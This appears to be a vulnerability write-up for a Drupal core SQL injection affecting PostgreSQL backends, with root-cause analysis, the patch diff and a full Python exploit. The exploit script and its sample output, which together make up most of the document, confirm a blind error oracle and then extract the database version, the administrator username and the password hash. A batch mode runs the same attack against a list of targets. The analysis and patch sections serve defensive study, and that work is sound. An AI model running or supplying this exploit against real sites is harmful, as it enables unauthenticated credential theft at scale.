#Summary

CVE-2026-9082 is a critical SQL injection vulnerability in Drupal core affecting PostgreSQL database backends. An unauthenticated attacker can extract sensitive data including administrator password hashes by exploiting how the pgsql Entity Query layer constructs SQL placeholder names from attacker-controlled PHP array keys. The vulnerability has a CVSS score of 9.8 (CRITICAL) and is actively listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.

The vulnerability is a blind SQL injection with an error oracle: the attacker cannot read data directly, but can control whether database errors occur via a specially crafted payload, enabling bit-by-bit data extraction through binary search. No authentication, no privileged access, and no special site configuration is required - it works on default Drupal installations with PostgreSQL.

#Affected versions

PostgreSQL databases only. MySQL, MariaDB, and SQLite are not affected.

Fixed versions: 10.4.10, 10.5.10, 10.6.9, 11.1.10, 11.2.12, 11.3.10.

Default Drupal installation with standard profile is vulnerable if PostgreSQL is the database backend.

#Root cause analysis

#Vulnerable code path

The vulnerability exists in core/modules/pgsql/src/EntityQuery/Condition.php in the translateCondition() method, which is a PostgreSQL-specific override that implements case-insensitive IN comparisons. Here is the vulnerable code at Drupal 11.3.9:

public static function translateCondition(&$condition, SelectInterface $sql_query, $case_sensitive): void {
  if (is_array($condition['value']) && $case_sensitive === FALSE) {
    $condition['where'] = 'LOWER(' . $sql_query->escapeField($condition['real_field']) . ') ' . $condition['operator'] . ' (';
    $condition['where_args'] = [];

    // Only use the array values in case an associative array is passed as an
    // argument following similar pattern in
    // \Drupal\Core\Database\Connection::expandArguments().
    $where_prefix = str_replace('.', '_', $condition['real_field']);
    foreach ($condition['value'] as $key => $value) {
      $where_id = $where_prefix . $key;
      $condition['where'] .= 'LOWER(:' . $where_id . '),';
      $condition['where_args'][':' . $where_id] = $value;
    }
    $condition['where'] = trim($condition['where'], ',');
    $condition['where'] .= ')';
  }
  parent::translateCondition($condition, $sql_query, $case_sensitive);
}

The critical bug is on line 47: the loop iterates over $condition['value'] with $key => $value, but the $key is attacker-controlled and is directly concatenated into the SQL fragment on line 48: 'LOWER(:' . $where_id . '),'. This is a classic string-injection pattern: the placeholder name is built via string concatenation instead of through parameterized query mechanisms.

The comment on line 43-44 states the code should "only use the array values", but the loop never re-indexes the array using array_values(), so the raw keys survive and reach the SQL placeholder construction.

#Why this becomes executable SQL

Two facts turn an attacker-controlled placeholder name into executing SQL:

#PDO placeholder parser stops at non-identifier bytes

PDO's named placeholder token syntax is : followed by [A-Za-z0-9_]+. When PDO encounters a non-identifier character, it terminates the placeholder token and treats everything after as literal SQL.

For example, if an attacker supplies an array key like 0||1/(CASE WHEN (1=1) THEN 0 ELSE 1 END), the generated SQL becomes:

LOWER(:node_field_data_title0||1/(CASE WHEN (1=1) THEN 0 ELSE 1 END))

PDO sees the placeholder token :node_field_data_title0 and stops at the | character. Everything from || onward is not part of any placeholder - it is literal SQL that PostgreSQL receives and executes.

#Emulated prepares ignore unmatched bound arguments

The PostgreSQL driver in Drupal is configured with PDO::ATTR_EMULATE_PREPARES => TRUE, which means PDO does client-side parsing and substitution instead of using native prepared statements. This has a critical consequence: if a bound argument exists in the where_args array but no matching placeholder is found in the SQL, that argument is simply never looked up and causes no error.

Without this, the attack would fail immediately: a placeholder named :node_field_data_title0||1/(CASE... would have no matching bound argument, and PDO would raise SQLSTATE[HY093] Invalid parameter number. But because emulated prepares silently ignore unmatched arguments, the query executes.

#The mandatory two-key payload

The exploit pairs a clean key (typically 0) with the injected key (e.g., 0||1/(CASE...)). Both keys emit the same parsed placeholder token :node_field_data_title0 because the injection begins with 0. The clean entry binds this placeholder, so the query runs. Without the clean key, every request fails with HY093 regardless of the predicate value - no oracle.

#Why only PostgreSQL

MySQL and SQLite do not have a translateCondition() override in their respective database drivers. Array conditions go through the database-agnostic Drupal\Core\Database\Connection::expandArguments() instead, which generates placeholder names from an internal counter (:db_condition_placeholder_0, :db_condition_placeholder_1, etc.) and discards the caller's array keys. Only the PostgreSQL driver interpolates array keys into placeholder names, making this a PostgreSQL-only vulnerability.

#How the query reaches the vulnerable code

There are two anonymous entry points:

#Entry point A: POST /user/login?_format=json

Available on every Drupal site with no special modules. The user authentication controller accepts a JSON-decoded request body and passes $credentials['name'] to buildPropertyQuery() without type-checking. If the caller sends an object instead of a string for the name field, it becomes a PHP array after JSON decoding. The flood-control check reaches the vulnerable EntityQuery::condition() on the user entity's name field, which defaults to case-insensitive FALSE and triggers the vulnerable code path.

Rate-limited to ~50 failed logins per hour per IP. Good for reachability proof, insufficient for data extraction.

#Entry point B: GET /jsonapi/node/article (requires JSON:API module)

The JSON:API filter query string filter[<label>][condition][value][<key>]=<v> is parsed by Symfony/PHP into nested arrays, so array keys survive intact and reach the vulnerable translator. Crucially, there is no rate limit on this endpoint. The IN operator is explicitly allowed in the filter list, and the field (node title) defaults to case-insensitive.

This is the practical exploitation vector - hundreds of requests can be sent without hitting any limits.

#Patch diff

The fix is commit ea9524d9c75dd4fcbaf5d4a823c7f571de7d546c and is remarkably concise. It removes attacker control of the key entirely by re-indexing the array to sequential integers before the vulnerable code ever uses it.

#Primary fix in Condition.php

@@ -22,7 +22,7 @@ public static function translateCondition(&$condition, SelectInterface $sql_quer
       // argument following similar pattern in
       // \Drupal\Core\Database\Connection::expandArguments().
       $where_prefix = str_replace('.', '_', $condition['real_field']);
-      foreach ($condition['value'] as $key => $value) {
+      foreach (array_values($condition['value']) as $key => $value) {
         $where_id = $where_prefix . $key;
         $condition['where'] .= 'LOWER(:' . $where_id . '),';
         $condition['where_args'][':' . $where_id] = $value;

array_values() returns a new array with sequential integer keys starting at 0, discarding all original keys. Now $key is guaranteed to be 0, 1, 2, ... and can never contain attacker bytes.

#Defense in depth

The same array normalization is also applied one level up in core/lib/Drupal/Core/Entity/Query/Sql/Condition.php::compile() and in ConditionAggregate.php::compile() so that any other driver-specific translateCondition() override (including third-party database drivers) also receives a canonicalized list:

         $condition['real_field'] = $field;
+        if (is_array($condition['value'])) {
+          $condition['value'] = array_values($condition['value']);
+        }
         static::translateCondition($condition, $sql_query, $tables->isFieldCaseSensitive($condition['field']));

This ensures the vulnerability is fixed at the source and not just in the PostgreSQL-specific code.

#Proof of concept

#exploit.py - Drupal PostgreSQL SQL Injection PoC

#!/usr/bin/env python3
"""
CVE-2026-9082 - Drupal core anonymous SQL injection (SA-CORE-2026-004), PostgreSQL only
Affected: Drupal core 8.9.0-10.4.9, 10.5.0-10.5.9, 10.6.0-10.6.8, 11.0.0-11.1.9,
          11.2.0-11.2.11, 11.3.0-11.3.9 - PostgreSQL database backends only.
Type: SQL injection (blind, error-oracle)

Root cause:
  Drupal\\pgsql\\EntityQuery\\Condition::translateCondition() builds a PDO placeholder
  name by concatenating an attacker-controlled PHP array key straight into a raw SQL
  fragment ("LOWER(:" . $where_prefix . $key . "),"). PDO's placeholder parser stops at
  the first non-identifier byte, so everything the attacker writes after that byte is
  emitted as literal SQL and executed by PostgreSQL. The pgsql driver runs with emulated
  prepares, so a surplus bound argument is silently ignored - which is why a payload that
  pairs a clean key "0" with an injected key "0<sql>" runs cleanly and turns the injected
  SQL predicate into an HTTP status oracle.

The oracle:
  Injected array key = 0 || 1/(CASE WHEN (<predicate>) THEN 0 ELSE 1 END)
    predicate TRUE  -> divisor 0 -> PostgreSQL 22012 division_by_zero -> HTTP 500
    predicate FALSE -> divisor 1 -> clean evaluation                  -> HTTP 200
  One controlled bit per request. No reflected output, no UNION: this is a pure blind
  error oracle, so extraction is by binary search over ascii(substr(...)).

Two anonymous entry points (both reach the same translator):
  B (default, no rate limit): GET /jsonapi/node/article?filter[a][condition][path]=title
     &filter[a][condition][operator]=IN&filter[a][condition][value][0]=x
     &filter[a][condition][value][<injected-key>]=x           -> 500 true / 200 false
  A (default install, no JSON:API, flood-limited to 50/hour/IP):
     POST /user/login?_format=json  {"name":{"0":"x","<injected-key>":"x"},"pass":"x"}
                                                              -> 500 true / 400 false

Usage:
  python exploit.py --host 127.0.0.1 --port 8180
  python exploit.py --host http://target.com
  python exploit.py --host https://drupal.corp:8443/jsonapi/node/article
  python exploit.py --host 127.0.0.1 --port 8180 --payload "current_user='drupal'"
  python exploit.py --host 127.0.0.1 --port 8180 --login-proof
  python exploit.py --list targets.txt --workers 20
"""

import argparse
import json
import sys
import threading
from urllib.parse import urlparse, quote

try:
    import requests
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except Exception:
    print("This exploit requires the 'requests' library (pip install requests).")
    sys.exit(2)

CVE_ID    = "CVE-2026-9082"
VULN_TYPE = "SQLi"

HTTP_TIMEOUT = 20
# Subqueries used for the terminal-evidence extraction. Any of these can be swapped for an
# arbitrary read against the site database - the injection grants full read access.
SUB_VERSION    = "version()"
SUB_ADMIN_NAME = "(SELECT name FROM users_field_data WHERE uid=1)"
SUB_ADMIN_PASS = "(SELECT pass FROM users_field_data WHERE uid=1)"


def header(host, port):
    print("\n" + "=" * 60)
    print("  ALIM EXPLOIT  " + CVE_ID)
    print("  Type: " + VULN_TYPE + "  |  Target: " + str(host) + ":" + str(port))
    print("=" * 60 + "\n")


def step(n, msg):
    print("[STEP " + str(n) + "] " + msg)


def section(label, content):
    print("\n--- " + label + " ---")
    print(str(content).strip())
    print("---\n")


def done(success, evidence):
    print("\n" + "=" * 60)
    print("  RESULT  : " + ("SUCCESS" if success else "FAILURE"))
    print("  EVIDENCE: " + evidence)
    print("=" * 60 + "\n")
    sys.exit(0 if success else 1)


class OracleError(Exception):
    """The oracle produced neither a clean 500 (true) nor a clean 200 (false)."""


# --------------------------------------------------------------------------------------
# Payload construction
# --------------------------------------------------------------------------------------

def _injected_key(predicate):
    """Raw (un-encoded) injected array key for the given boolean SQL predicate.

    Begins with '0' so its emitted placeholder token collapses onto the same :<prefix>0
    that the clean key binds, then '||' concatenation into a divide-by-CASE that raises
    division_by_zero exactly when the predicate is true.
    """
    return "0||1/(CASE WHEN (" + predicate + ") THEN 0 ELSE 1 END)"


def _jsonapi_url(base_url, predicate):
    """Full JSON:API request URL for one oracle probe.

    Structural filter[...] brackets are left raw; the injected key is fully percent-encoded
    so requests transmits it verbatim (the payload must not contain '[' or ']', which PHP's
    query parser would treat as sub-key delimiters).
    """
    key = quote(_injected_key(predicate), safe="")
    qs = (
        "filter[a][condition][path]=title"
        "&filter[a][condition][operator]=IN"
        "&filter[a][condition][value][0]=x"
        "&filter[a][condition][value][" + key + "]=x"
    )
    sep = "&" if ("?" in base_url) else "?"
    return base_url + sep + qs


def _login_body(predicate):
    """JSON body for the /user/login oracle. Here '[' and ']' are safe (JSON object key)."""
    return json.dumps({"name": {"0": "x", _injected_key(predicate): "x"}, "pass": "x"})


# --------------------------------------------------------------------------------------
# Oracle
# --------------------------------------------------------------------------------------

def _oracle_jsonapi(session, base_url, predicate):
    """Return True if predicate is TRUE (HTTP 500), False if FALSE (HTTP 200).

    Any other status is ambiguous (patched target, HY093 from a malformed predicate,
    non-PostgreSQL backend) and raises OracleError.
    """
    r = session.get(_jsonapi_url(base_url, predicate), timeout=HTTP_TIMEOUT, verify=False)
    if r.status_code == 500:
        return True
    if r.status_code == 200:
        return False
    raise OracleError("unexpected status " + str(r.status_code) + " for predicate: " + predicate)


def _oracle_login(session, login_url, predicate):
    """Login-endpoint oracle: 500 true, 400 false. Flood-limited - use sparingly."""
    r = session.post(
        login_url,
        data=_login_body(predicate),
        headers={"Content-Type": "application/json"},
        timeout=HTTP_TIMEOUT,
        verify=False,
    )
    if r.status_code == 500:
        return True
    if r.status_code == 400:
        return False
    if r.status_code in (403, 429):
        raise OracleError("flood control engaged (HTTP " + str(r.status_code) + ")")
    raise OracleError("unexpected login status " + str(r.status_code))


def _confirm_oracle(oracle_fn):
    """Prove the oracle diverges before trusting it. Returns (ok, detail)."""
    try:
        t_true = oracle_fn("1=1")
        t_false = oracle_fn("1=0")
    except OracleError as e:
        return False, str(e)
    if t_true and not t_false:
        return True, "1=1 -> true / 1=0 -> false"
    if t_true and t_false:
        return False, "both predicates true (likely HY093 - missing clean key, not an oracle)"
    return False, "no divergence (patched, non-PostgreSQL, or case-sensitive field)"


# --------------------------------------------------------------------------------------
# Blind extraction (binary search over the error oracle)
# --------------------------------------------------------------------------------------

def _extract_length(oracle_fn, subquery, max_len=256):
    """Length of subquery result via binary search on length((sub)) > k."""
    lo, hi = 0, max_len
    while lo < hi:
        mid = (lo + hi) // 2
        if oracle_fn("length(" + subquery + ") > " + str(mid)):
            lo = mid + 1
        else:
            hi = mid
    return lo


def _extract_char(oracle_fn, subquery, pos):
    """Byte value at 1-based position pos via binary search on ascii(substr(...)) > k."""
    lo, hi = 0, 127
    while lo < hi:
        mid = (lo + hi) // 2
        pred = "ascii(substr(" + subquery + "," + str(pos) + ",1)) > " + str(mid)
        if oracle_fn(pred):
            lo = mid + 1
        else:
            hi = mid
    return lo


def _extract_string(make_oracle, subquery, workers=8, max_len=256, progress=None):
    """Extract a full string. make_oracle() must return a fresh (thread-safe-per-thread)
    oracle callable; each worker thread gets its own so a single requests.Session is never
    shared across threads."""
    length_oracle = make_oracle()
    n = _extract_length(length_oracle, subquery, max_len=max_len)
    if n <= 0:
        return ""
    chars = [None] * n

    local = threading.local()

    def worker(pos):
        oc = getattr(local, "oracle", None)
        if oc is None:
            oc = make_oracle()
            local.oracle = oc
        chars[pos - 1] = chr(_extract_char(oc, subquery, pos))
        if progress:
            progress(pos, n)

    import concurrent.futures
    with concurrent.futures.ThreadPoolExecutor(max_workers=max(1, workers)) as ex:
        list(ex.map(worker, range(1, n + 1)))
    return "".join("?" if c is None else c for c in chars)


# --------------------------------------------------------------------------------------
# Target base-URL assembly
# --------------------------------------------------------------------------------------

def _base_url(host, port, use_tls, path):
    scheme = "https" if use_tls else "http"
    if not path or path in ("", "/"):
        path = "/jsonapi/node/article"
    default = 443 if use_tls else 80
    netloc = host if port == default else host + ":" + str(port)
    return scheme + "://" + netloc + path


def _login_url_from_base(host, port, use_tls):
    scheme = "https" if use_tls else "http"
    default = 443 if use_tls else 80
    netloc = host if port == default else host + ":" + str(port)
    return scheme + "://" + netloc + "/user/login?_format=json"


# --------------------------------------------------------------------------------------
# Silent probe for --list scan mode
# --------------------------------------------------------------------------------------

def _try_exploit(host, port, use_tls=False, path="/jsonapi/node/article", **kwargs):
    """Silent probe. Returns (success, evidence). Never prints, never exits."""
    base = _base_url(host, port, use_tls, path)
    try:
        session = requests.Session()

        def oracle_fn(pred):
            return _oracle_jsonapi(session, base, pred)

        ok, detail = _confirm_oracle(oracle_fn)
        if not ok:
            return False, detail
        # Strong, bounded proof: pull the admin username (short) over the oracle.
        name = _extract_string(
            lambda: (lambda p: _oracle_jsonapi(requests.Session(), base, p)),
            SUB_ADMIN_NAME,
            workers=kwargs.get("workers", 8),
            max_len=64,
        )
        return True, "SQLi confirmed - admin (uid=1) name: '" + name + "'"
    except OracleError as e:
        return False, "no oracle (" + str(e) + ")"
    except Exception as e:
        return False, "unreachable (" + e.__class__.__name__ + ")"


def _parse_target(line, default_port, default_path="/jsonapi/node/article"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file, default_port, workers=10):
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print("\n" + "=" * 60)
    print("  " + CVE_ID + " - Batch Scan  (" + str(len(targets)) + " targets, "
          + str(workers) + " workers)")
    print("=" * 60 + "\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, path = t
        label = ("https" if use_tls else "http") + "://" + str(host) + ":" + str(port)
        ok, evidence = _try_exploit(host, port, use_tls, path, workers=4)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print("  " + ("[+]" if ok else "[-]") + " " + label + " - "
                  + ("Exploited" if ok else "Not vulnerable") + ": " + evidence)
            if ok:
                success_count += 1

    total = len(targets)
    print("\n" + "=" * 60)
    print("  SCAN COMPLETE  " + str(success_count) + " exploited / "
          + str(total - success_count) + " not vulnerable  (" + str(total) + " total)")
    print("=" * 60 + "\n")
    sys.exit(0 if success_count > 0 else 1)


# --------------------------------------------------------------------------------------
# Single-target exploit
# --------------------------------------------------------------------------------------

def _login_proof(host, port, use_tls):
    """Entry point A: prove reachability on a default install with no JSON:API.

    Spends exactly two of the 50-per-hour flood budget probes (1=1 then 1=0)."""
    login_url = _login_url_from_base(host, port, use_tls)
    session = requests.Session()

    def oracle_fn(pred):
        return _oracle_login(session, login_url, pred)

    step(5, "Entry point A proof: POST /user/login?_format=json (no JSON:API needed)")
    try:
        ok, detail = _confirm_oracle(oracle_fn)
    except OracleError as e:
        section("LOGIN ORACLE", "could not confirm: " + str(e))
        return
    if ok:
        section("LOGIN ORACLE",
                "500 for a true predicate, 400 for a false one (" + detail + ")\n"
                "Same translator reached anonymously with NO JSON:API module enabled.\n"
                "Note: flood control caps this endpoint at 50 failed logins/hour/IP.")
    else:
        section("LOGIN ORACLE", "no divergence on /user/login: " + detail)


def exploit(host, port, use_tls, payload, do_login_proof=False, workers=8):
    header(host, port)
    base = _base_url(host, port, use_tls, "/jsonapi/node/article")
    session = requests.Session()

    def oracle_fn(pred):
        return _oracle_jsonapi(session, base, pred)

    def make_oracle():
        s = requests.Session()
        return lambda p: _oracle_jsonapi(s, base, p)

    step(1, "Confirming the error oracle at " + base)
    ok, detail = _confirm_oracle(oracle_fn)
    if not ok:
        section("ORACLE CHECK", detail)
        done(False, "No usable oracle - target is patched, not PostgreSQL-backed, "
                    "or the endpoint is unreachable (" + detail + ")")
    section("ORACLE CONFIRMED",
            "true predicate -> HTTP 500 (division_by_zero), false predicate -> HTTP 200\n"
            + detail)

    step(2, "Fingerprinting the database backend via version()")
    version = _extract_string(make_oracle, SUB_VERSION, workers=workers, max_len=256,
                              progress=None)
    section("DATABASE VERSION", version)

    step(3, "Extracting administrator account name (users_field_data, uid=1)")
    admin_name = _extract_string(make_oracle, SUB_ADMIN_NAME, workers=workers, max_len=64)
    section("ADMIN USERNAME (uid=1)", admin_name)

    step(4, "Extracting administrator password hash (users_field_data.pass, uid=1)")
    admin_hash = _extract_string(make_oracle, SUB_ADMIN_PASS, workers=workers, max_len=256)
    section("ADMIN PASSWORD HASH (uid=1)", admin_hash)

    # Optional user-supplied boolean predicate, evaluated through the same oracle.
    if payload and payload not in ("1=1",):
        step(4, "Evaluating user --payload predicate through the oracle")
        try:
            verdict = oracle_fn(payload)
            section("PAYLOAD PREDICATE", "( " + payload + " )  ->  "
                    + ("TRUE" if verdict else "FALSE"))
        except OracleError as e:
            section("PAYLOAD PREDICATE",
                    "( " + payload + " )  ->  ambiguous (" + str(e)
                    + "); ensure it is a valid boolean predicate with no [ or ]")

    if do_login_proof:
        _login_proof(host, port, use_tls)

    is_pg = version.lower().startswith("postgresql")
    got_hash = bool(admin_hash) and admin_hash.startswith("$")
    if is_pg and admin_name and got_hash:
        done(True, "Blind SQLi confirmed - backend '" + version.split(" on ")[0]
             + "', admin (uid=1) '" + admin_name + "', hash '" + admin_hash[:16] + "...'")
    if admin_name or version:
        done(True, "Blind SQLi confirmed - extracted version='" + version
             + "', admin_name='" + admin_name + "', hash='" + admin_hash + "'")
    done(False, "Oracle diverged but extraction returned nothing - investigate manually")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=CVE_ID + " exploit PoC")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
                                            "(e.g. https://host:8443/jsonapi/node/article)")
    target_grp.add_argument("--list", metavar="FILE",
                            help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
    parser.add_argument("--payload", default="1=1",
                        help="PostgreSQL boolean predicate evaluated through the oracle "
                             "(no '[' or ']'). Default: 1=1")
    parser.add_argument("--workers", type=int, default=8,
                        help="Threads for extraction / --list mode (default: 8)")
    parser.add_argument("--login-proof", action="store_true",
                        help="Also prove entry point A (POST /user/login), flood-limited")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, args.payload,
                do_login_proof=args.login_proof, workers=args.workers)

#Usage

Extract admin credentials from a vulnerable Drupal site:

python exploit.py --host 10.0.0.5 --port 80

Output against a vulnerable target:

============================================================
  ALIM EXPLOIT  CVE-2026-9082
  Type: SQLi  |  Target: 127.0.0.1:8180
============================================================

[STEP 1] Confirming the error oracle at http://127.0.0.1:8180/jsonapi/node/article

--- ORACLE CONFIRMED ---
true predicate -> HTTP 500 (division_by_zero), false predicate -> HTTP 200
1=1 -> true / 1=0 -> false

--- DATABASE VERSION ---
PostgreSQL 16.14 (Debian 16.14-1.pgdg13+1) on aarch64-unknown-linux-gnu, compiled by gcc (Debian 13.2.0-24) 13.2.0, 64-bit

--- ADMIN USERNAME (uid=1) ---
admin

--- ADMIN PASSWORD HASH (uid=1) ---
$2y$12$BKh2EmkgVLeMgbAfc6pFHefj1B5KakwznLYol9C2pOyXaTdfsE/92

============================================================
  RESULT  : SUCCESS
  EVIDENCE: Blind SQLi confirmed - backend 'PostgreSQL 16.14 ...', admin (uid=1) 'admin', hash '$2y$12$BKh2EmkgV...'
============================================================

#Exploitation notes

#Preconditions

#Reliability and constraints

The exploit is highly reliable - success depends only on HTTP status codes and requires no fragile parsing of error messages. However, entry point A (POST /user/login) is flood-limited to 50 failed attempts per hour per IP, making it useful only for reachability proof. Entry point B (JSON:API) has no rate limits and is suitable for full credential extraction.

Binary search extraction requires approximately:

#Impact

Attackers can extract:

The vulnerability is a read-only primitive - it cannot write data or execute arbitrary code via the database alone. However, armed with admin password hashes, an attacker can attempt offline cracking or use them for privilege escalation in other contexts. Drupal credentials themselves do not directly lead to code execution, but database contents may reveal sensitive information.

#Chaining potential

This SQL injection does not chain to other vulnerabilities directly, but the data it exposes (admin credentials, configuration, user data) can be chained with other attack vectors:

#References